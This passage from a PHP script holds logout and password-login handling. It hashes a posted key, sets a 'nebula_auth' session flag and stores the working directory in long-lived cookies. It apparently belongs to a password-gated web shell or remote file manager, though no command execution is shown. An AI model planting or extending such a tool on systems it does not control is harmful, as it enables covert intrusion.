'destroyed'])); } if (isset($_GET['logout'])) { if (session_status() === PHP_SESSION_ACTIVE) { session_destroy(); } nb_clear_cookie($auth_cookie); nb_clear_cookie($cwd_cookie); header('Location: '.strtok($_SERVER['REQUEST_URI'], '?')); exit; } if (!isset($_SESSION['nebula_auth'])) { if (isset($_POST['k']) && hash('sha256', $_POST['k']) === $auth_hash) { $_SESSION['nebula_auth'] = true; $_SESSION['cwd'] = @getcwd() ?: '/'; nb_set_cookie($auth_cookie, $auth_cookie_value, time() + 86400 * 30); nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30); } else { ob_end_clean(); if ($is_api_request) { header('Content-Type: application/json'); http_response_code(401); die(json_encode(['error' => 'AUTH_REQUIRED'])); } die('